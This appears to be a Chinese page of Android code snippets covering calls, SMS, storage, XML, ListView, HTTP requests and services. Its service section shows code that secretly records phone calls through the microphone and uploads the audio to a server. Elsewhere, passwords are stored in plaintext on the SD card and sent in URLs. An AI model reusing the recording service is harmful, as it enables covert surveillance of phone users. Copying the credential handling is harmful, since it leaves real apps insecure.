当前位置: 代码迷 >> Android >> android小知识点代码片断
  详细解决方案

android小知识点代码片断

热度:113   发布时间:2016-04-24 11:28:57.0
android小知识点代码片段
  • 1 拨打电话的操作 播打电话号码
  •     Intent intent = new Intent();    intent.setAction(Intent.ACTION_CALL);    intent.setData(Uri.parse("tel:"+number));    startActivity(intent);
  • 2 发送短信的操作 短信过长时 拆分短信 一条短信最大的文本长度 是多少 ? 中文 70 汉字 英文 160字符

       SmsManager smsmanager = SmsManager.getDefault();    /*    *sentIntent, deliveryIntent延期的意图 ,    *sentintent 发送报告    *deliveryIntent 送达报告    */    ArrayList<String> messages = smsmanager.divideMessage(content);    for(String message : messages){        smsmanager.sendTextMessage(number, null, message, null, null);    }
  • 3.检测sd卡状态,并往sd卡中写数据。需要权限

  •    //MEDIA_UNKNOWN:不能识别sd卡    //MEDIA_REMOVED:没有sd卡    //MEDIA_UNMOUNTED:sd卡存在但是没有挂载    //MEDIA_CHECKING:sd卡正在准备    //MEDIA_MOUNTED:sd卡已经挂载,可用    if(Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED))        //返回一个File对象,其路径是sd卡的真实路径        File file = new File(Environment.getExternalStorageDirectory(), "info.txt");        FileOutputStream fos;        try {            fos = new FileOutputStream(file);            fos.write((name + "##" + pass).getBytes());            fos.close();        } catch (Exception e) {            e.printStackTrace();        }    }    else{        Toast.makeText(this, "sd卡不可用哟亲么么哒", 0).show();    }}
  • 4.判断sd卡剩余容量。

    File path = Environment.getExternalStorageDirectory();StatFs stat = new StatFs(path.getPath());long blockSize;long totalBlocks;long availableBlocks;//获取当前系统版本的等级if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR2){       //4.3版本后开始起作用     blockSize = stat.getBlockSizeLong();     totalBlocks = stat.getBlockCountLong();     availableBlocks = stat.getAvailableBlocksLong();} else{                                                                                                                    //否则使用旧的api                                                blockSize = stat.getBlockSize();    totalBlocks = stat.getBlockCount();    availableBlocks = stat.getAvailableBlocks();}TextView tv = (TextView) findViewById(R.id.tv);tv.setText(formatSize(availableBlocks * blockSize));
  • 5使用xml序列化器生成xml文件

  • //1.拿到序列化器对象XmlSerializer xs = Xml.newSerializer();//2.初始化File file = new File("sdcard/sms2.xml");try {    FileOutputStream fos = new FileOutputStream(file);    //enconding:指定用什么编码生成xml文件    xs.setOutput(fos, "utf-8");    //3.开始生成xml文件    //enconding:指定头结点中的enconding属性的值    xs.startDocument("utf-8", true);    xs.startTag(null, "message");    for (Message sms : smsList) {        xs.startTag(null, "sms");        xs.startTag(null, "body");        xs.text(sms.getBody() + "<body>");        xs.endTag(null, "body");        xs.startTag(null, "date");        xs.text(sms.getDate());        xs.endTag(null, "date");        xs.startTag(null, "type");        xs.text(sms.getType());        xs.endTag(null, "type");        xs.startTag(null, "address");        xs.text(sms.getAddress());        xs.endTag(null, "address");        xs.endTag(null, "sms");    }         xs.endTag(null, "message");             //告诉序列化器,文件生成完毕    xs.endDocument();} catch (Exception e) {    // TODO Auto-generated catch block    e.printStackTrace();}
  • 6.解析xml文件

  •  //获取到src文件夹下的资源文件InputStream is = getClassLoader().getResourceAsStream("weather.xml");//拿到pull解析器对象XmlPullParser xp = Xml.newPullParser();//初始化try {    xp.setInput(is, "gbk");    //获取当前节点的事件类型,通过事件类型的判断,我们可以知道当前节点是什么节点,从而确定我们应该做什么操作    int type = xp.getEventType();    City city = null;    while(type != XmlPullParser.END_DOCUMENT){        //根据节点的类型,要做不同的操作        switch (type) {        case XmlPullParser.START_TAG:            //                    获取当前节点的名字            if("weather".equals(xp.getName())){                //创建city集合对象,用于存放city的javabean                cityList = new ArrayList<City>();            }            else if("city".equals(xp.getName())){                //创建city的javabean对象                city = new City();            }            else if("name".equals(xp.getName())){                // 获取当前节点的下一个节点的文本                String name = xp.nextText();                city.setName(name);            }            else if("temp".equals(xp.getName())){                // 获取当前节点的下一个节点的文本            }            else if("pm".equals(xp.getName())){                // 获取当前节点的下一个节点的文本            }            break;        case XmlPullParser.END_TAG:            if("city".equals(xp.getName())){            }            break;        }        //把指针移动到下一个节点,并返回该节点的事件类型        type = xp.next();    }} catch (Exception e) {    e.printStackTrace();}
  • 7 listview优化

       1)复用convertView        View v = null;        //判断条目是否有缓存        if(convertView == null){            //把布局文件填充成一个View对象            v = View.inflate(MainActivity.this, R.layout.item_listview, null);        }else{            v = convertView;        }  2)利用viewHolder,返回一个View对象,作为listview的条目显示至界面    public View getView(int position, View convertView, ViewGroup parent) {        News news = newsList.get(position);        View v = null;        ViewHolder mHolder;        if(convertView == null){            v = View.inflate(MainActivity.this, R.layout.item_listview, null);            mHolder = new ViewHolder();            //把布局文件中所有组件的对象封装至ViewHolder对象中            mHolder.tv_title = (TextView) v.findViewById(R.id.tv_title);            mHolder.tv_detail = (TextView) v.findViewById(R.id.tv_detail);            mHolder.tv_comment = (TextView) v.findViewById(R.id.tv_comment);            mHolder.siv = (SmartImageView) v.findViewById(R.id.iv);            //把ViewHolder对象封装至View对象中            v.setTag(mHolder);        }else{            v = convertView;            mHolder = (ViewHolder) v.getTag();        }        //给三个文本框设置内容        mHolder.tv_title.setText(news.getTitle());        mHolder.tv_detail.setText(news.getDetail());        mHolder.tv_comment.setText(news.getComment() + "条评论");        //给新闻图片imageview设置内容        mHolder.siv.setImageUrl(news.getImageUrl());        return v;    }    class ViewHolder{        //条目的布局文件中有什么组件,这里就定义什么属性        TextView tv_title;        TextView tv_detail;        TextView tv_comment;        SmartImageView siv;    }
  • 8 junit 测试框架的使用

        1)在manifest中添加上下列代码    <instrumentation    android:name="android.test.InstrumentationTestRunner"    android:targetPackage="自己程序的包名" />    2)在application下添加以下代码    <uses-library android:name="android.test.runner" />    3)创建测试类继承AndroidTestCase类    4)编写测试方法
  • 10 采用get方式提交数据 原理:拼装url

        String param1 = URLEncoder.encode(name);    String param2 = URLEncoder.encode(password);    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);    HttpURLConnection conn = (HttpURLConnection) url.openConnection();    conn.setRequestMethod("GET");    conn.setReadTimeout(5000);    // 数据并没有发送给服务器    // 获取服务器返回的流信息    InputStream is = conn.getInputStream();
  • 11 提交中文时会产生乱码问题

  •   1)服务器端问题 Tomcat 默认编码为iso8859-1  而提交的数据编码为utf-8   处理方法:服务器端onPost方法中    Sring name=request.getParameter("name");    if(name!=null){        name=new String(name.getBytes("iso8859-1"),"utf-8");    }  2)安卓端的问题 提交的url中文要编码   解决办法    String param1 = URLEncoder.encode(name);    String param2 = URLEncoder.encode(password);    URL url = new URL(path + "?name=" + param1 + "&password=" + param2);
  • 12 采用post方法提交数据

        1)get 一次提交的数据数据量比较小 4K 内部其实通过组拼url的方式       post 可以提交比较大的数据 form表单的形式 流的方式写到服务器    public static String sendDataByPost(String path, String name,String password) throws Exception {        String param1 = URLEncoder.encode(name);        String param2 = URLEncoder.encode(password);        URL url = new URL(path);        HttpURLConnection conn = (HttpURLConnection) url.openConnection();        String data = "name=" + param1 + "&password=" + param2;        conn.setRequestMethod("POST");        conn.setConnectTimeout(5000);        // 设置 http协议可以向服务器写数据        conn.setDoOutput(true);        // 设置http协议的消息头 设置提交的数据类型为表单类型        conn.setRequestProperty("Content-Type",                "application/x-www-form-urlencoded");        conn.setRequestProperty("Content-Length", data.length() + "");        // 把我们准备好的data数据写给服务器        OutputStream os = conn.getOutputStream();        os.write(data.getBytes());        // httpurlconnection 底层实现 outputstream 是一个缓冲输出流        // 只要我们获取任何一个服务器返回的信息 , 数据就会被提交给服务器 , 得到服务器返回的流信息        int code = conn.getResponseCode();        if (code == 200) {            InputStream is = conn.getInputStream();            byte[] result = StreamTool.getBytes(is);            return new String(result);        } else {            throw new IllegalStateException("服务器状态异常");        }    }    2)处理中文 乱码        String param1 = URLEncoder.encode(name);        String param2 = URLEncoder.encode(password);        URL url = new URL(path);        HttpURLConnection conn = (HttpURLConnection) url.openConnection();        String data = "name=" + param1 + "&password=" + param2;
  • 13 由于面向http协议提交数据很麻烦,所以gogole提供了一套简单api httpclient来模拟浏览器 使用httpclient get方式提交数据

        /**     * httpclient 浏览器的简单包装     * new HttpClient 就相当于得到了一个浏览器     */    public static String sendDataByHttpClientGet (String path , String name,String password) throws Exception{        //1. 获取到一个浏览器的实例        HttpClient client = new DefaultHttpClient();        //2. 准备请求的地址        String param1 = URLEncoder.encode(name);        String param2 = URLEncoder.encode(password);        HttpGet httpGet = new HttpGet(path + "?name=" + param1 + "&password=" + param2);        //3. 发请求        HttpResponse  ressponse = client.execute(httpGet);        int code = ressponse.getStatusLine().getStatusCode();        if(code == 200){            InputStream is  =ressponse.getEntity().getContent();            byte[] result = StreamTool.getBytes(is);            return new String(result);        }        else{            throw new IllegalStateException("服务器状态异常");        }    }
  • 14 采用httpclient post方式提交数据

    public static String sendDataByHttpClientPost(String path , String name,String password) throws Exception{    //1. 获取到一个浏览器的实例    HttpClient client = new DefaultHttpClient();    //2. 准备要请求的 数据类型    HttpPost httppost = new HttpPost(path);    // 键值对    List< NameValuePair> parameters = new ArrayList<NameValuePair>();    parameters.add(new BasicNameValuePair("name", name));    parameters.add(new BasicNameValuePair("password", password));    UrlEncodedFormEntity entity = new UrlEncodedFormEntity(parameters, "utf-8");    //3.设置post请求的数据实体    httppost.setEntity(entity);    //4. 发送数据给服务器    HttpResponse  ressponse = client.execute(httppost);    int code = ressponse.getStatusLine().getStatusCode();    if(code == 200){        InputStream is  =ressponse.getEntity().getContent();        byte[] result = StreamTool.getBytes(is);        return new String(result);    }    else{        throw new IllegalStateException("服务器状态异常");    }}
  • 15 短信监听器获取短信的操作在onreceive方法中

         // intent 存放的有接收到的短信的内容    Object[] pdus =  (Object[]) intent.getExtras().get("pdus");    for(Object pdu:pdus){        SmsMessage message  = SmsMessage.createFromPdu((byte[])pdu);        // 获取短信的正文内容        final String content = message.getMessageBody();        //获取短信的发送者        final String address = message.getOriginatingAddress();
  • 16 四大组件service的使用 服务是运行在主线程中的。 AndroidManifest中配置组件

    启动服务 :Intent intent = new Intent(this,PhoneListenService.class);startService(intent);1 在服务里实现电话监听权限:<uses-permission android:name="android.permission.READ_PHONE_STATE"/>            监听电话状态<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>          监听sd卡状态<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>             写外部存储设备<uses-permission android:name="android.permission.RECORD_AUDIO"/>                       录音 使用mic<uses-permission android:name="android.permission.INTERNET"/>                           访问互联网public class PhoneListenService extends Service {    public IBinder onBind(Intent intent) {        return null;    }     //2. onCreate方法在服务第一次被创建的时候 执行    public void onCreate() {        super.onCreate();        setForeground(true); //提升为前台进程        // 1. 判断当前手机的状态,        // 如果发现手机处于 通话状态        // 创建一个录音器, 录下来用户的通话信息        // 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器        // 得到手机与电话状态相关的服务        TelephonyManager manager = (TelephonyManager) this                .getSystemService(TELEPHONY_SERVICE);        //监听电话状态        manager.listen(new MyPhoneListener(),PhoneStateListener.LISTEN_CALL_STATE);    }    private class MyPhoneListener extends PhoneStateListener {        MediaRecorder recorder = null;        /**         *当电话的通话状态发生改变的时候 被调用的方法         */        @Override        public void onCallStateChanged(int state, String incomingNumber) {            try {                switch (state) {                case TelephonyManager.CALL_STATE_IDLE: // 当前电话处于闲置状态                    System.out.println("当前电话处于闲置状态 ");                    // 判断下recorder是否为空                    if(recorder!=null){                        recorder.stop();                        recorder.release(); // Now the object cannot be reused                        recorder = null;                        new Thread(){                            @Override                            public void run() {                                // 上传数据到服务器  演示的代码  有问题的                                File file = new File("/sdcard/temp.3gp");                                try {                                    upload(file);                                } catch (Exception e) {                                    e.printStackTrace();                                }                            }                        }.start();                    }                    break;                case TelephonyManager.CALL_STATE_RINGING: // 当前电话处于零响状态                    System.out.println("电话号码为 " + incomingNumber);                    break;                case TelephonyManager.CALL_STATE_OFFHOOK: // 当前电话处于接听状态                    System.out.println("当前电话处于通话状态 ");                    // 初始化一个录音器,                    recorder = new MediaRecorder();                    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);                    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);                    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);                    recorder.setOutputFile("/sdcard/temp.3gp");                    recorder.prepare();                    recorder.start();   // Recording is now started                    break;                }            } catch (Exception e) {                e.printStackTrace();            }            super.onCallStateChanged(state, incomingNumber);        }    }    public void upload(File file) throws Exception{        // 实例化上传数据的 数组  part []        Part[] parts = {                  new FilePart("file",file)};        PostMethod filePost = new PostMethod("http://192.168.1.247:8080/web/LoginServlet");        filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));        org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();        client.getHttpConnectionManager().getParams()          .setConnectionTimeout(5000);        int status = client.executeMethod(filePost);        if(status==200){            System.out.println("上传成功");        }        else{            throw new IllegalStateException("服务器状态异常");        }    }}
  • 13service的生命周期

  • oncreate()   服务创建时候调用的方法onstart()    服务开启时候调用的方法ondestroy()  服务停止时候调用的方法两种服务开启方式1)通过startservice()开始服务 StopService()结束服务。2)绑定方式参数 1 intent 2 serviceConnection接口 3 Context.BIND_AUTO_CREATE 绑定的时候服务不存在的时候会自动创建bindService(service,conn,flags);unBindService
  相关解决方案